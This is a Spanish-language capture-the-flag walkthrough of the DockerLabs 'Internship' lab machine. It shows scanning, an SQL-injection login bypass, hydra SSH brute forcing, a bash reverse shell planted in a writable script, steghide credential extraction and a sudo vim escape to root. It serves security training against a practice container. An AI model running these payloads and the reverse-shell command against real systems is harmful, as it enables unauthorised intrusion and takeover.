> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/internship.md).
# Internship
### **1. Despliegue de la máquina**
#### **1.1. Descarga**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Internship** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
#### **1.2. Descompresión**
Utilizamos la herramienta `7z` para descomprimir el archivo `internship.zip` con el siguiente comando:
```bash
7z x internship.zip
```
#### **1.3. Ejecución**
Ejecutamos el script `auto_deploy.sh` que automatiza el despliegue del contenedor vulnerable en Docker:
```bash
bash auto_deploy.sh internship.tar
```
### **2. Reconocimiento**
#### **2.1. Verificación de conectividad**
Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:
```bash
ping -c 1 172.17.0.2
```
#### **2.2. Escaneo de puertos**
Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Resultados:**
* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.
#### **2.3. Escaneo detallado**
Analizamos los puertos encontrados con mayor profundidad:
```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```
**Detalles:**
* **SSH:** OpenSSH 9.2p1.
* **HTTP:** Apache 2.4.62 con un título "GateKeeper HR | Tu Portal de Recursos Humanos".
#### **2.4. Análisis del servicio web**
Al acceder a `http://172.17.0.2/` desde el navegador, observamos una página con varios botones que no funcionan. Esto sugiere la existencia de un dominio.
Inspeccionando el código fuente, encontramos:
```html
```
Añadimos el dominio al archivo `/etc/hosts` para resolverlo correctamente:
```bash
172.17.0.2 gatekeeperhr.com
```
Ahora, al acceder a `http://gatekeeperhr.com/`, los botones funcionan como se esperaba.
### **3. Explotación**
#### **3.1. Inyección SQL**
En el botón "Iniciar Sesión", probamos una inyección SQL básica:
```sql
' or 1=1 -- -
```
Esta inyección nos permite eludir el sistema de autenticación y acceder al panel de control, donde encontramos una lista de nombres de usuarios potenciales.
Guardamos estos nombres en un archivo llamado `usuarios.txt` para su uso posterior.
#### **3.2. Fuerza bruta con Gobuster**
Realizamos un ataque de fuerza bruta para descubrir directorios ocultos:
```bash
gobuster dir -u http://gatekeeperhr.com -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php
```
Encontramos el directorio `/spam`, que contiene un comentario en el código fuente:
```html
```
Decodificando este texto con [ROT13](https://www.rot13.app/), obtenemos:
```
La contraseña de uno de los pasantes es 'purpl3'
```
#### **3.3. Fuerza bruta con Hydra**
Utilizamos `hydra` para probar la contraseña `purpl3` con la lista de usuarios encontrada anteriormente:
```bash
hydra -L usuarios.txt -p purpl3 ssh://172.17.0.2
```
Obtenemos credenciales válidas para el usuario `pedro`:
```bash
[22][ssh] host: 172.17.0.2 login: pedro password: purpl3
```
Accedemos al sistema mediante SSH:
```bash
ssh pedro@172.17.0.2
```
### **4. Escalada de privilegios**
#### **4.1. Del usuario pedro a valentina**
Dentro del sistema, investigamos el directorio `/opt` y encontramos un script llamado `log_cleaner.sh` con permisos de escritura. Modificamos el script para incluir una [reverse shell](https://www.revshells.com/):
```bash
/bin/bash -i >& /dev/tcp/100.100.100.4/123 0>&1
```
Nos ponemos en escucha en nuestro equipo:
```bash
nc -nvlp 123
```
Ejecutamos el script con el siguiente comando:
```bash
bash log_cleaner.sh
```
Obtenemos una shell como el usuario `valentina`.
#### **4.2. Extracción de credenciales ocultas**
En el directorio `/home/valentina`, encontramos un archivo llamado `profile_picture.jpeg`.
Movemos el archivo `profile_picture.jpeg` al directorio temporal `/tmp`:
```bash
mv profile_picture.jpeg /tmp
```
Cambiamos los permisos del archivo para evitar posibles problemas:
```bash
chmod 777 /tmp/profile_picture.jpeg
```
Nos montamos un servidor HTTP con PHP para descargarnos la imagen en nuestro equipo:
```bash
php -S 0.0.0.0:1212 -t /tmp
```
Desde nuestro equipo, ejecutamos el siguiente comando para descargarnos la imagen:
```bash
wget http://172.17.0.2:1212/profile_picture.jpeg
```
Abrimos la imagen pero no nos proporciona ningún tipo de información que nos ayude a seguir completando la máquina.
Utilizamos `steghide` para extraer información oculta:
```bash
steghide info profile_picture.jpeg
```
Descubrimos un archivo oculto llamado `secret.txt`.
Lo extraemos y encontramos la contraseña del usuario `valentina`:
```bash
steghide extract -sf profile_picture.jpeg
```
#### **4.3. Abuso de sudoers**
Verificamos los privilegios de `valentina` con `sudo -l`:
```bash
(ALL : ALL) PASSWD: ALL, NOPASSWD: /usr/bin/vim
```
Utilizamos `vim` para escalar privilegios siguiendo la guía de [GTFOBins](https://gtfobins.github.io/gtfobins/vim/):
```bash
sudo vim -c ':!/bin/sh'
```
Esto nos otorga una shell como `root`, completando con éxito la explotación de la máquina.
